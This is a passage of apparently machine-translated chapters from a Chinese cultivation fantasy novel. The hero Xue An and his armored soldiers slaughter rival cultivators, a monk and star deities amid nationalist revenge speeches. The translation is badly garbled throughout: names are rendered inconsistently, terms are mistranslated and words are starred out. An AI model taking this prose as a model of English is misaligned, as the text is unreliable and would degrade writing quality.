    But Xue An didn''t change his expression in the face of all this, but said indifferently: "The shot is ruthless...arousing public anger?"


    Then suddenly he raised his eyes, and the light in his eyes was very bright, "When you waited for the destruction of my people, did you ever think of means to be ruthless?"


    "When you deceived my people, did you ever want to arouse public anger?"


    "Now I have just collected a little bit of the blood debt owed to the Chinese people for thousands of years, so what are you guys saying?"


    Speaking of this, Xue An sneered slightly, with crazy killing intent on his face, "I can only say, why don''t you die?"


    This sentence was like a little spark, and instantly detonated the situation that was already full of gunpowder.


    Anger is everywhere, and many practitioners are eager to try, wanting to teach this Chinese man who doesn''t know the sky and earth in their eyes.


    Luo Wenshi''s face is pale waved his hand, motioned everyone to be quiet, and then said in a deep voice: "Young man, don''t speak too arrogantly, as long as you confess your sins now, and take your physical skills and spiritual thoughts. Hand it over, I can consider protecting your Chinese people through this Thousand Race Conference! What do you think?"


    Luo''s words are also in the minds of many cultivators with unruly hearts.


    In their opinion, Xue An''s ability to destroy the Golden Immortal with a body without any cultivation base must have cultivated some magical physical technique.


    If this is obtained, it will be invaluable.


    Xue An was not angry but laughed, and then turned to Liu Keke, Wan Chengyi and Hua Youan and others behind him and said: "See, this is the so-called practitioner in the world! The world looks like a god, but in me It looks like a pig dog!"


    Luo Wenshi finally couldn''t contain the anger in his heart. "So, are you going to fight me to the end?"


    A scornful smile appeared at the corner of Xue An''s mouth, then stretched out his hand and pointed at all the cultivators on the opposite side.


    "You wait and listen, today, I will teach you how to be a man!"

 Chapter 628： 1 Cut the debt owed with blood, and will surely pay with blood...

    Hearing Xue An''s words was extremely arrogant.


    The group of cultivators was silent at first, and then began to make noise.


    "Kill him!"


    "Yes, let''s go together and kill this arrogant kid!"


    The sound of shouting and killing was everywhere.


    But Cang Yayun and Liu Keke, who had been standing behind Xue An, summoned the puppets without hesitation.


    Lian Yunting directly released her strongest four-image power, looking at the other cultivator with murderous intent.


    As for the teacher and apprentice Wan Chengyi.


    In fact, the two of them didn''t have to be here.


    But Wan Chengyi always has a strong hunch in his heart, that is, if he stays, there will be a great opportunity waiting for him.


    So he gritted his teeth and did not leave.


    Seeing that the situation was already in the same situation, Wan Chengyi had no choice but to go all out, silently practicing profound arts, and a statue of Garan Dharma protector gradually appeared above his head.


    Even so, in the face of so many aggressive repairers, Xue An still seemed very weak.


    Luo Wenshi grinned and said, "Puppet Immortal Sect and Garan Sect, do you want to behave with these Chinese people? If you come here obediently now, I can forget it."


    Liu Keke raised his eyebrows and said coldly, "Where is the predecessor, where we are. As for you shameless people, it''s best not to pretend to be good people here!"


    Luo came out pale with anger, "Very good! Then don''t blame me for being cruel! Do it, kill this Chinese kid first!"


    With an order, these practitioners rushed towards Xue An like a flood.


    At the forefront are practitioners of physical skills. These people cultivate their own bodies, and the physical body is their magic weapon.


    And at this juncture, they all used their own tricks to press the bottom of the box, and the momentum was very shocking.


    Followed by all kinds of Jian Qi, this is a variety of sword repair schools.


    There are also various kinds of runes, some of which are more than ten feet high, with primitive and simple runes, which are clearly ancient gods. These come from various Fuxiu sects.


    Finally, there are various innate magic weapons, which come from various miscellaneous schools.


    The combination of all of these forms a powerful offensive that changes the colors of heaven and earth.


    In the face of all this, Xue An''s expression remained as indifferent as before, slowly raised his fist, and said lightly: "Are you afraid?"


    Hua Youan, Jia Ning Song A, the three shook their heads.


    Liu Keke Cang Yayun behind also shook his head.


    Even Shan Ruoling, at this moment, with a resolute expression, sacrificed his life and protector, without the slightest fear.


    Xue An raised the corner of his mouth, revealing a cold smile, "Since you are not afraid, then... just crush them!"


    Having said that, the physicist who rushed forward had already rushed to the front, Xue An''s eyes were dazzling, and he sneered coldly, "Broken! Sun! Moon!"


    The advanced version of the fifth punch of six kills gods.


    Although Xue An has no cultivation base right now, the Six Types of Killing God is more of a body-building divine fist.


    boom.


    This punch blasted out, as if holding the sun and the moon in his hands, and crushed it alive.


    The dozen or so physical practitioners who rushed to the forefront hadn''t reacted, and they all turned into powder.


    When the practitioners behind saw the situation, they were so frightened that they halted the momentum. As a result, the whole team was in chaos.


    At the same time, the puppets of the Puppet Xianzong also rushed over and fought with these cultivators.


    A melee began.


    Luo Wenshi watched from behind, and the more he watched, the more frightened he became.


    Because under the siege of so many cultivators, Xue An was still in the realm of no one. With just a pair of fists, he slammed left and right. All the four cultivators who killed did not dare to lightly grab the front, and they evaded.


    Luo Wenshi''s face was gloomy and he could drip water.


    If this person cannot be besieged this time, there will be endless troubles.


    Thinking of this, Luo Wenshi pointed to the Hua Youan trio who were hiding behind the puppet Xianzong.


    "First arrest the three Chinese who have not cultivated."


    Immediately a few sword repairmen flew into the air and headed straight for the three of Hua Youan.


    At this time, the people of Puppet Xianzong were all entangled, and they couldn''t get out for a while.


    Xue An just smiled coldly when he saw it, and after smashing a Jian Xiu''s head with a punch, a divine thought flew directly out of the courtyard.


    At this time, the Jian Xiu had rushed to the front of the Hua Youan trio.


    "Hey, I''ll catch it, or I''ll let you..." The leading sword repairman hadn''t finished speaking yet.


    Jia Ning opened his bow and took arrows, and shot three arrows in a row against the sky.


    Puff puff!


    Three muffled arrows pierced into the bone.


    The first sword repairman hit three arrows on his chest and abdomen, and he roared in pain.


    "Untouchables, dare to hurt me!"


    As he said, he wanted to pull out the arrow, but at this moment, a layer of gray light spread out on the three arrows, and the sword repair that had eroded unexpectedly fell from the midair.


    Cang Yayun, who was in front of him, looked back and hit Jian Xiu''s head in the air.


    Snapped!


    The Jian Xiu''s head shattered suddenly and his life was killed on the spot.


    The few remaining sword repairmen never dreamed that Jianing, who had no cultivation level, could actually use archery to injure the repairer, and couldn''t help but roar.


    "Kill this archery guy first!"


    With that, a few sword lights came straight to Jia Ning.


    The three arrows just now were made by Jianing who condensed all the energy and blood, because of his unique talent in archery, this could hurt the cultivator.


    But after shooting three arrows, he was already at the end of the crossbow, unable to fight anymore.


    Facing the surging rays of sword light, Jia Ning smiled, "Kill one, enough money!"


    After that, I was ready to close my eyes and wait for death.


    At this moment, a black streamer flew across the sky at an eye-popping speed, just blocking the Hua Youan trio.


    when.


    After a few sounds of metal clashing, these sword lights smashed directly on the black light, but only a few sparks splashed, and then disappeared.


    It was only then that people could see that standing in the air was a warrior wearing black armor with a pair of huge steel wings stretching out behind him.


    The sword light just slashed on these black armors.


    "How is it possible?" these sword repairmen exclaimed.


    And the black warrior didn''t say a word, just waved his wings and rushed directly to these sword repairmen.


    Before they could react, the steel wings suddenly skyrocketed, directly engulfing these sword repairmen.


    After a short while, when they let go of their wings, these sword repairmen were already bloodless dead bodies fell to the ground.


    Luo came out to see this scene, inexplicably shocked.


    What the **** is this?


    How terrible is it like a demon from hell?


    Fortunately, there is only one, otherwise it would be over on my own side.


    As if to respond to his thoughts, the sky full of stars and moon suddenly dimmed.


    Some cultivators lost their voice in exclamation, pointed to the sky and said, "That...those..."


    Luo Wenshi looked up and saw a cloud of darker than night flying over the city lord''s mansion.


    Then the black cloud fell straight to the ground, and when it was about to fall, it turned into hundreds of warriors in black armor, looking at all the cultivators in silence.


    The armored real soldier finally appeared.


    And all debts owed with blood will be repaid with blood.

 Chapter 629： Crush with invincibility

    Seeing this scene, the group of cultivators gasped.


    Especially when Luo came out, he looked at these real armored soldiers in disbelief, waiting to speak.


    This group of real armored soldiers stepped forward silently, and as far as the momentum came, all the cultivators backed away in shock.


    The entangled situation became clear again.


    Xue An smashed the head of a cultivator with another punch, and then appeared in front of the real armored soldier.


    Xiaoshui and others bowed their heads, waiting for Xue An''s order.


    Xue An looked around the audience and rushed to the distant Luo advent with a smile, "I hope you will like this gift!"


    Then he pointed to all the cultivators on the opposite side, and said coldly, "Kill them all, and leave none!"


    Give an order.


    Xiao Shui took the lead, all the Chinese warriors lined up in battle, like a black chariot of hell, crushing the past with invincibility.


    No cultivator is the enemy of these armored real soldiers.


    Even the Golden Immortal powerhouse, when facing this battle formation like the ancient gods, can only say nothing.


    In the blink of an eye, the armored real soldier has advanced more than ten meters.


    Wherever he went, the corpse ran across the wild and blood drifted.


    This group of practitioners was not a well-trained army. They got together just to pinch the soft persimmon of the Chinese.


    Unexpectedly, he kicked onto the indestructible boulder.


    Therefore, as soon as they contacted, these practitioners were already in a tendency to collapse.


    When the horror of the armored real soldier was completely revealed, the group of practitioners finally collapsed completely.


    The cultivator behind the team turned and ran, which caused a chain reaction.


    No one dared to face these black demons anymore, only hating that they had lost two legs and ran away frantically.


    Luo Wenshi watched from the rear with cold hands and feet, and at first wanted to prevent the fleeing situation.


    But the army was defeated like a mountain, this is no longer what he can control.


    But Xiao Shui would obviously not let any repairer go.


    All Chinese fighters have gone through hardships, and they are waiting for this day.


    Therefore, Xiao Shui gestured with a look in his eyes. The armored real soldiers who had formed the square formation immediately began to change their formations, directly turning into an encirclement, and all the cultivators were firmly trapped in it.


    This incident caused all these practitioners to scream.


    But this simply cannot stop the killing of these armored real soldiers.


    In fact, if these practitioners muster up the courage to face off, they would not necessarily lose so badly.


    After all, among these cultivators, there are still several golden immortal powerhouses.


    But in such a chaotic situation, how could they be opponents of a killing machine like a real armored soldier under the constraints of each other.


    Blood splattered.


    Xiao Shui and others reap the lives of these cultivators mercilessly.


    Luo Wenshi roared again and again, struggling as hard as he could, but couldn''t shake the situation at all.


    At this moment, a team of monks slowly walked into the courtyard, and standing in the middle of the team was a skinny monk with a golden wheel looming behind his head.


    The skinny old monk looked at the ongoing killings with compassion, shook his head and sighed, "Good, good, why are the benefactors so obsessed with it? How about letting go of hatred and entering my Buddhist kingdom?"


    After Luo Wenshi saw the monk, he seemed to have seen the life-saving straw, and shouted frantically: "Master, help, I am the Lord of Luofu, if you can save me, I would like to tell you all the information of Tian Daoyuan!"


    A bright light flashed in the old monk''s eyes, and he smiled and nodded, then turned to look at Xue An in the distance.


    "Donor Xue, long time no see!"


    Xue An looked indifferent, looked at the skinny monk, and said lightly: "Bitter Zen, I didn''t expect you to become a bodhisattva after entering this chess game?"


    The visitor was the Venerable Kuchan who entered the Qiyun chess game together.


    He smiled slightly when he heard the words, "Everything is definite. Why did Xue Shizhu make such a big fight? When is the so-called grievance reported? It is better to stop here! If you know that my Buddha is merciful, the one who lays down the butcher can become a Buddha!"


    With the words, the golden wheel behind Kuchan''s head became brighter and brighter, and the soft light covered the entire courtyard. Many practitioners with fragile moods were confused at the time.


    And under the golden light, the real armored soldiers, who had always been in the forefront, gradually became astringent, and eventually even stopped completely.


    Luo Wenshi let out a sigh of relief and shouted in surprise: "The master has supernatural powers, but this Chinese man is very evil. Be careful."


    Kuchan smiled slightly, just looking at Xue An, "What does Xue donor think the old monk said?"


    The atmosphere became a little silent. As soon as Ku Chan appeared on the stage, he restrained the armored real soldier so strongly, making Cang Ya Yun Liu Ke Ke and others secretly startled.


    While Wan Chengyi looked at this bitter meditation with a gloomy expression, he was even more frightened.


    As soon as this bitter meditation appeared, his statue of Venerable Kalan seemed to be out of his body, and wanted to worship this bitter meditation.


    This feeling made Wan Chengyi terrified, knowing that this painful meditation was terrifying in the cultivation of Buddhism.


    Xue An raised his mouth and smiled coldly, "I thought...you are just farting!"


    Following Xue An''s words, a huge divine thought burst out, directly colliding with the Buddha light created by this bitter Zen.


    boom.


    After a violent vibration from the spiritual level.


    The painful Zen that had always been full of compassion was shaken back seven or eight steps, and the golden wheel behind his head flashed even more.


    The Buddha''s light that had just enveloped the audience even disappeared.


    The real armored soldiers trapped in the Buddha''s light were all restored to their freedom, and roared about to rush forward.


    Xue An waved his hand and told them to stay still.


    Then he looked at the bitter meditation with the shocking light in his eyes, and said lightly: "Do you really think that what you can do to become a bodhisattva? Today is the big day of your family''s Tathagata here, so you still have to bow your head."


    "Not to mention..." Xue An paused, then said coldly: "What you are practicing is not orthodox Dharma at all!"


    There was a look of grief on Ku Chan''s face, "Why don''t Xue Shizhu say this? If you know that slandering the Dharma, you will fall into the **** of Abi and suffer endless pain!"


    Xue An looked up to the sky and laughed, and then stretched out his hand to point to bitter meditation, "Bald donkey, don''t act with Xiaoye, I have been to your Buddhist country. I have seen the orthodox Buddhist and Taoist practitioners with my own eyes! "


    Buddhism and Taoism is a very unique cultivation sect among the heavens and all realms Different from other sects that all originated in ancient times, the history of Buddhism and Taoism is not long, it is a person with great opportunity. And created by people of great compassion.


    And he was born among the immortals, demons and gods, and created a dazzling Buddha kingdom.


    Xue An also respects such people.


    When he traveled through the heavens, he had indeed been to the Kingdom of Origin.


    I even interviewed the founder of Buddhism and Taoism several times.


    In that country of Buddhism, Xue An has seen real Buddhist and Taoist practitioners.


    Those people are immeasurably compassionate, and what they do is to save the world, but they are all based on fate and never force it.


    It would never be like this bitter meditation, using one''s own cultivation base to forcibly confine the souls of believers, and threatening the world with all kinds of retribution.


    This is definitely not a Buddhist way, but an evil way.

 Chapter 630： The sky is full of gods and demons, but I am nothing but a chicken!

    Hearing what Xue An said, the face of this bitter meditation appeared solemn, "Xue Donor, you have been to the Buddha country, but I don��t know that the Buddha country was also created by people, and the Buddha may not behave right, but what I do It is to create your own Buddhist kingdom!"


    Xue An snorted when he heard the words, and then he took out his ears in his spare time, "Okay, then you go to create your Buddhist kingdom! Why is it so crooked here? And let us put down the butcher knife and become a Buddha?"


    Speaking of this, Xue An showed a bitter intent to kill, "When the Chinese were slaughtered, where was your **** and mercy? Letting go of your hatred, haha, killing all the enemies is the only way to let go of hatred! You! If you haven''t experienced what I have experienced, just close your beak, or be careful. I will take off the golden wheel behind your head and use it as a light bulb!"


    Kuchan was speechless by Xue An''s repeated words, and in the end he could only put his hands together.


    "The donor has entered the magical way, old..."


    "Enter Nima''s magic way!"


    Xue An yelled coldly, not knowing when he had already appeared behind him, and slapped him on the bright head.


    boom.


    This palm directly slammed Ku Chan from the ground, then turned 360 degrees in the air before crashing to the ground.


    At this time, Kuchan finally could no longer maintain the false compassion just now, and an angry expression appeared in his eyes, "Infinite Buddha..."


    "Buddha country of endless Nyima!" Xue An appeared next to him again, kicked Ku Chan''s head, just like kicking a ball, kicking him directly from the ground.


    There were a few wall vases just on the far wall. This bitter Zen was kicked over and smashed these vases with his head.


    Xue An smiled faintly, "Goal, perfect!"


    A look of astonishment appeared on Kuzen''s face.


    He really didn''t understand why he was beaten by Xue An when he was on the earth, and now he has finally cultivated to the bodhisattva status, but Xue An lost his cultivation and was still beaten by him.


    What went wrong?


    Luo came out just as horrified as him.


    He thought he had found a life-saving straw, but he did not expect that he would still be killed by Xue An.


    At this moment, Xue An turned his head to look at the night sky outside the wall, and said lightly: "Since the two have already arrived, do you still refuse to show up?"


    Following Xue An''s voice, Leng Junxie and Feitian both appeared in the dark void.


    They are the city lord''s mansion that just arrived.


    Because of this dinner, all sects and ethnic groups have received invitations.


    However, one of them is the demon master, and the other is the king of Shura.


    Not tolerated by the world''s cultivators.


    So they were very cautious and arrived at the end, hiding their bodies, ready to see what situation is coming in.


    Coincidentally, I saw the scene of Xue An''s brutality in bitter Zen just now.


    They recognized bitter meditation, and of course they recognized this Xue An who almost wiped out himself on earth.


    This discovery made the two of them both stunned, and then they wanted to observe for a while.


    Unexpectedly, Xue An broke his whereabouts.


    After this Demon One Shura appeared.


    The practitioner below was in an uproar.


    "It''s the demons! Hasn''t this group been crushed under the Tiewei Mountain and haven''t appeared in the world for a long time?"


    "Your news is too blocked, Tiewei Mountain has been overthrown, of course all these demons have come out!"


    "The Shura clan also appeared! What happened to the Thousand Clan Conference this time? Why is it so lively?"


    However, Luo Wenshi couldn''t take care of so much anymore. He looked at the cold and silent armored real soldiers, and he felt cold all over.


    Now to him, as long as he can kill Xue An, it is more important than anything.


    Therefore he shouted: "Two, as long as you can kill this Chinese man, I am willing to provide all the information about Tian Daoyuan."


    Leng Junxie and Feitian looked at each other, then smiled.


    "Xue An, I didn''t expect you to live till now! Why? Entering the game as a Chinese nationality and losing all the cultivation base?" Fei Tian said with a grin.


    Leng Junxie said lightly: "You don''t need to talk nonsense with him, kill Xue An, his luck will be evenly divided between you and me!"


    "Have you two forgotten the old monk? This person is very evil, and only the three of me can deal with him!" Kuchan regained the state of being unwavering and said coldly.


    Leng Junxie and Feitian hesitated, then nodded in agreement.


    Luo came out overjoyed, "If the three can join forces, that would be great! At that time, I will thank you Luofu City."


    Then looked at Xue An, "Hey, God is going to destroy your Chinese, no one can help you! Hahaha!"


    The situation seems to have undergone a major reversal.


    These practitioners stabilized their minds, staring at Xue An and others.


    Hua Youan and the others gradually turned pale.


    Cang Yayun and Wan Chengyi glanced at each other, their expressions were unprecedentedly solemn.


    Because with their cultivation base, they can perceive Leng Junxie and Feitian''s strong cultivation base fluctuations.


    The lowest is also a golden immortal, and maybe even a true immortal strong.


    Moreover, both the Demon Race and the Shura Race have the technique of leading troops.


    They must be carrying endless Demon Soldiers Shura.


    This is really tricky!


    Xue An quietly looked at this Demon One Shura, his face was neither sad nor happy.


    "Three!"


    Then he raised his head and glanced at the night sky, his eyes flickering.


    "And you, astral gods?"


    Everyone still didn''t understand what Xue An said.


    Seeing the Ziwei Emperor star suddenly burst in the night sky, a path made of bright stars appeared in the sky.


    Then a young man with a high crown and Bo belt slowly walked down from above.


    Behind him, it is the great master of Shanhaizhai Brahma Dingtian and the peak masters.


    There was also a pale girl who followed the man step by step.


    "It''s Shanhaizhai!"


    "The Shanhaizhai people have appeared!"


    "This...who is this man? How can I walk in the forefront of the Master of Shanhaizhai?"


    These exclamations are endless.


    Then the crape myrtle **** child stood above the stars, overlooking the crowd below, and then focused his gaze on Xue An.


    "It''s funny, you actually know the star world?"


    The joking and lofty expression in the eyes made people very uncomfortable.


    Xue An looked at this ziwei **** child, and shook his head after a while, "It seems that your peace has been too long, and you have forgotten what awe is?"


    As soon as this sentence came out, the ziwei **** child''s complexion sank, and he snorted coldly: "A mere mortal, what an arrogant tone!"


    At this time, Leng JunxieBitter Chan, and Feitian trio also saw the extraordinaryness of this Ziwei **** child, their expressions were all horrified, but they all aimed their spearheads at Xue An.


    Luo Wenshi and many cultivators also looked at Xue An with enthusiasm.


    In their view, Xue An has completely fallen into a desperate situation, and there is no possibility of turning over.


    Hua Youan and the others took a deep breath and silently walked behind Xue An.


    Xue An glanced at them, then smiled faintly.


    "Are you scared?"


    Xue An once asked this question, but this time asks it again.


    Hua Youan and others still shook their heads.


    Xue An laughed loudly, "Very good! Chinese erlang bento is like this! As for these..."


    Xue An casually pointed at the gods and monsters in the sky, and said lightly: "But the chicken and dog, kill it!"

 Chapter 631： The Emperor Star comes to the world, the Great Seal of Luo Tian

    Hearing how unbearable he was being described, Leng Junxie and Feitian snorted together.


    "What a boastful statement!"


    The son of Ziwei looked at Xue An with a playful look, his face full of playfulness and arrogance.


    "I''m curious, what kind of confidence it is that makes you dare to talk to me like this."


    Xue An said indifferently: "I am also very curious, what makes you so arrogant for a son of a star?"


    The son of Ziwei''s expression condensed, "You..."


    Xue An waved his hand impatiently, "Okay, I have no time to talk nonsense with you, Master!"


    Then he showed his white teeth and smiled sensibly, "Today, I will let you gods and demons learn to awe!"


    With that, Xue An jumped up.


    Just at this moment, I don''t know when the sky covered by clouds flashed a huge lightning, and the branches of lightning instantly covered the entire night sky.


    The electric light illuminates Xue An''s figure alone against the gods and demons.


    Looking at his arrogant and upright figure in the sky, Hua Youan, Liu Keke and others were shaking.


    Although tens of thousands of people are coming, this kind of momentum shocks everyone.


    Xiao Shui said coldly: "The Armored Armored Corps listens to the order, and then, follow the immortal master and never die!"


    All the Chinese warriors shouted together: "No!"


    And Liu Keke, Cang Yayun, Lian Yunting and others all showed the perseverance of fighting to the end.


    A killing that was a hundred times more tragic than just now kicked off.


    Leng Junxie and Feitian had already released the Demon Soldiers and Shura Warriors they carried with them.


    These are all elite combat powers that have experienced hundreds of battles. As soon as they entered the battlefield, they bit down the armored real soldier and delayed its original violent offensive.


    The puppets of the Puppet Immortal Sect were trapped by the monks and soldiers under the Buddhist monks.


    Although the cultivation base of these monks is not too high, their physical skills can be called metamorphosis, and they are extremely tough, so they can fight against these puppets.


    The battle above the ground fell into a stalemate.


    But in the midair, it was a battle of life and death.


    Non-Tian Leng Jun Xie and Ku Chan three people stood in a character shape and surrounded Xue An.


    The peak masters of Brahma Dingtian and Shanhaizhai are responsible for close fights.


    The lowest of these people have a half-step true immortal cultivation base, and they affect the power of heaven and earth between their gestures, and their power is very terrifying.


    But even so, Xue An couldn''t help but was hit by him from left to right, and he was very embarrassed.


    At this time, Luo Wenshi below shouted loudly: "This Xue An has no cultivation base, but his physical skills are extremely powerful. Don''t fight him close!"


    Xue An slammed back the Yaoguang star girl with a punch, and smiled at Luo appeared below.


    "Don''t worry, it will be your turn soon!"


    Luo Wenshi''s hair on his body was stiff by Xue An''s smile, and he seemed to feel a great threat. Luo Wenshi''s qi around the world also fluctuated.


    After realizing this, Luo appeared pale with fright, and hurried back.


    Almost everyone didn''t pay attention to this scene, only Xue An saw it, his eyes flashed, and a mocking smile appeared at the corner of his mouth.


    At this time, Brahma Dingtian and others had retreated far away, and then stood in a weird position, condensed brilliance in their hands, and performed Taoism.


    Orthodox practitioners generally don''t delve too much into Taoism, even if they rely on the heaviest sword repair talisman, the essential core is still to improve their cultivation.


    To put it bluntly, cultivation is the foundation of everything.


    But the art of Taoism is just the minutiae, once indulged in it, it becomes a fool who gives up nothing.


    But Brahma Dingtian and others are different. Their cultivation base is already close to the upper limit of the rules of this world. After feeling the law of heaven like a moat, they know that this road has come to an end.


    That''s why they turned to study Taoism and successfully created the art of mountain and sea, and Shanhaizhai was named after it.


    Seeing the surrounding Guanghua, mountains and seas emerged, covering Xue An.


    These mountains and seas seem to be true and illusory, but their power is so powerful that all demons such as Feitian and Leng Junxie are eye-catching.


    Once shrouded in it, unless you really have the ability to pull mountains and rivers, you will have to be trapped inside.


    Mountains and seas take shape.


    Suddenly became quiet in the air.


    Brahma Dingtian showed a triumphant expression, "My Son of God, this person is undoubtedly killed by the mountains and seas."


    The son of Ziwei nodded, "Very well, this method has its merits."


    Not Tian and Leng Junxie and other monsters glanced at each other, and they all saw the doubt in each other''s eyes.


    Is it really dead?


    At this moment, I saw a sudden violent shaking of the originally stable mountains and seas, as if a peerless beast was about to escape.


    In the blink of an eye, the mountains collapsed and the sea capsized.


    The mountains and seas shattered.


    And Xue An''s figure slowly walked from the ruins.


    "How is it possible?" Brahma Dingtian couldn''t believe his eyes.


    Xue An just smiled faintly, and then hooked the Ziwei **** son, "Come on, I will play with you first!"


    The son of Ziwei was irritated by Xue An''s attitude, and he grunted and was about to speak.


    Xue An''s figure was already in front of him, and then he slapped his face with a slap.


    Snapped.


    After a very crisp sound, the son of Ziwei was fanned and flew far away, then clutching his red and swollen cheeks, he shouted in disbelief, "How could you possibly beat me?"


    The son of Ziwei was full of shock.


    Because he came this time, it was a body condensed with innate starlight, containing a trace of the rules of the Ziwei Emperor.


    The ordinary cultivator can''t touch him at all.


    This is also the reason why he has been sitting on the sidelines and standing high.


    But all of this was shattered by Xue An''s slap.


    Xue An said lightly at this time: "It''s just an innate Taoist body. Do you really think you are great? And this is just the beginning. You have to learn to get used to it."


    The eyes of the **** child Ziwei were full of anger. He was born as the son of Xingjun. He has always been aloof, and no one even dared to look at him disrespectfully.


    Today, he was slapped and slapped by the Chinese man.


    This kind of shame and shame made him blow up.


    "Since you are looking for death by yourself, then I will let you know the consequences of angering a god!"


    The son of Ziwei screamed up to the skyThe emperor star came to the world, Luotian Great Seal! "


    With his roar, the purple stars in the sky suddenly burst, penetrated through the layers of clouds, and directly landed on Xue An''s head.


    Layers of talisman seals were so dense that they were dizzying, and then the starlight condensed into amber, which completely imprisoned Xue An.


    boom!


    When all of this took shape, looking at the amber that was condensed from the stars, Xue An stood inside, as if the whole person had been solidified, and even his eyes became lifeless.


    The son of Ziwei laughed loudly, "Under the great seal, the soul will be imprisoned forever, Xue An, I see how you come back this time!"


    But at this moment, from the very distant sky, a mighty army of monsters appeared.


    And on the leading demon flag is written a big ancient seal character.


    fox!

 Chapter 632： Xingyue reappears, heaven and earth bow their heads!

    Some cultivators exclaimed, "It''s the coalition army of the Yaozu Mountain Range."


    Many people sank when they heard this.


    In the previous Thousand Clan Conference, Yao Clan will appear early.


    But this year has been uncharacteristically, and there has been no movement.


    Many people thought they would not come.


    Unexpectedly, they actually arrived at this juncture.


    And in the first place it was such an aggressive demon coalition.


    Just when everyone was surprised and uncertain.


    These monsters have already flown over Luofu City.


    I saw the banners fluttering, and the demon was soaring.


    And under the leading flag was a big car pulled by a double-headed monster dragon.


    Sitting in the car was a lazy-looking man.


    Because the distance was too far, his face could not be seen clearly, but the cultivators could still feel the powerful demon energy emanating from this man.


    In the midair, Leng Junxie''s face sank.


    "It''s you!"


    He had a deep memory of the fox monster who had fought against each other on earth.


    The man smiled, "Yes, it''s me!"


    It was Fox Ye who came here.


    Since the death of Abao that day, Huye has crushed the laws of the heavens that suppressed his cultivation, and then unified the entire Yaozu mountain range in just over 20 days.


    And the reason for being late...


    It was entirely because Hu Ye wanted to pull the wind a little when he played, so he painstakingly swept all the big monsters in the Yaozu mountain range and formed a Yaozu coalition army, which rushed over aggressively.


    At this time, the son of Ziwei looked at Fox Ye from a distance, his expression gradually becoming solemn.


    Because he couldn''t see through Fox Night.


    Although it looked like an ordinary fox demon at first glance, the son of Ziwei felt that his hair was erect.


    It seems that something is warning me.


    This naturally made the son of Ziwei awe-inspiring.


    Fox Ye felt the gaze of the Ziwei **** child, turned his head and glanced at him carelessly, then focused his attention on the starlight Amber.


    "Tsk tusk!" Hu Ye looked at it for a moment, a very strange look appeared on his face, and then gave a thumbs up to the son of Ziwei.


    "Boy, I have to admit that you are really awesome, and your head is strong enough."


    The son of Ziwei was startled, "What do you mean?"


    Hu Ye smiled and pointed at Xue An among the starlight amber, with a gloating expression on his face.


    "You dare to imprison him? When you went out, your grown-up didn''t tell you, who should never be offended?"


    The son of Ziwei proudly said: "I don''t know what to say, but I am..."


    Fox Ye waved his hand, "Okay, okay, I have already seen that you are the son of Monarch Ziwei Star. Seriously, I sympathize with your Father God! I just don��t know if you can live with the Ziwei Emperor later. This year, the bear child is really cheating!"


    Only then did God Son of Ziwei understand that this fox demon was taunting himself, and couldn''t help but grinned, "It''s so funny, I think the Emperor Ziwei is the lord of ten thousand stars, in charge of life and death! How could it disappear?"


    Fox Ye shrugged, "It''s useless for you to tell me that. I only know...you are so awesome."


    Then pointed to Xingguang Amber, "No one is awesome!"


    The son of Ziwei snorted when he heard the words, "After talking for a long time, I haven''t seen how powerful it is! Isn''t it still being imprisoned by my Luo Tian seal?"


    Hu Ye ignored him, but looked at the starlight amber and exclaimed.


    "Damn, I''m so handsome after being frozen, it''s a pity that I didn''t bring a mobile phone, otherwise I should take a picture as a souvenir!"


    In words, he completely ignored the gods and demons.


    Seeing Xue An being imprisoned, Hua Youan and Liu Keke, who were full of grief and anger in their hearts, also understood at this time. This sudden arrival of the Yaozu coalition seemed to be a friend of seniors.


    In a hurry, Hua Youan could not help shouting: "Senior Demon Race, please save Senior Xue!"


    Hu Ye looked down at Hua You''an and the others, and then at the real armored soldiers, he smiled, "Save him? Stop making trouble! Just use me to save other soldiers? Do you despise him? ?"


    Hearing what he said, the **** child Ziwei finally couldn''t hold back and broke out completely.


    Thinking of how honorable his status was when he was in the star realm, I didn''t expect that after he came here, he was first slapped by a mortal, and now he was nakedly despised by a fox.


    All these made him unacceptable, so he roared.


    "Don''t be fooling around here and die for me!"


    As he said, a pure and incomparable starlight shrouded the top of Fox Ye''s head, and the Ziwei Shenzi suddenly appeared behind Fox Ye and slapped his palm.


    Hu Ye didn''t even move, but said indifferently: "I really admire you, I can actually do it to this extent!"


    Before he finished his words, and did not see any movement from Fox Ye, the son of Ziwei, who came violently, seemed to be hit by a giant dragon head-on, vomiting blood and flew out.


    At this time, everyone was shocked.


    Even the monsters like Leng Junxie, who had been eager to compete with Fox Ye, were all dumbfounded.


    Why is this fox demon so much stronger than when he was on earth?


    At this moment, there was a disturbance in the aura, and the chains of the heavens appeared on the body of Fox Ye.


    Hu Ye casually waved his hand to crush it, but his face was a little old at this moment.


    Seeing this scene, Luo Wenshi''s face changed wildly, as if thinking about something.


    But Hu Ye yawned boredly, "I thought there would be some strong man, but it turned out to be a bunch of rubbish! Xue An, if you don''t wake up again, these miscellaneous fish will belong to me!"


    The voice just fell.


    Just heard a slight cracking sound from the starlight amber.


    "It''s senior, senior blinked!" Hua Youan exclaimed.


    really.


    Seeing Xue An who was imprisoned in the starlight amber, there was a hint of expression in his eyes.


    The eyes of God Child Ziwei stared, "No...impossible! As soon as the Luotian seal is printed, even the true immortal must be imprisoned! He...he is just a mortal with no cultivation skills, why? May break this seal?"


    But the facts are not transferred by anyone''s will.


    The sound of breaking became denser, and the look in Xue An''s eyes became brighter.


    Above the night sky, an incomparably huge cyclone began to appear, in which thunder was faint, and it seemed that there were four gods gathered here, peeping.


    This scene looks silly for almost everyone.


    Fox Ye seemed to remember something, a smile appeared at the corner of his mouth, and said lightly: "Have you returned? I really look forward to the day when you return completely!"


    At this moment, I heard a pop The starlight amber that had originally appeared numerous cracks turned into powder.


    And a strong momentum rose to the sky.


    The huge thunder that originally wanted to land didn''t even have room to resist, so it vanished.


    Above the sky, stars and moons reappeared, but they all dimmed.


    Because the man standing under the sky is so powerful.


    Powerful to the point where heaven and earth would bow their heads.


    One after another, the chains of Heaven''s Path, as if they were real, appeared on Xue An''s body.


    Xue An''s eyes were dazzling, just bowed his head, and all the shackles instantly turned into nothingness.


    Upon seeing this, Fox Ye sighed slightly, "Is it Golden Fairy?"


    Then he smiled bitterly and murmured: "But where is such a tyrannical Golden Immortal in the heavens and myriad worlds? In that case, when you return to the Immortal Venerable in the future, how powerful will it be? Damn, it seems that I can never beat you in this life !"

 Chapter 633： Xingjun came to the world, long time no see!

    At this time, Xue An raised his head to look at Fox Ye, a faint smile appeared at the corner of his mouth.


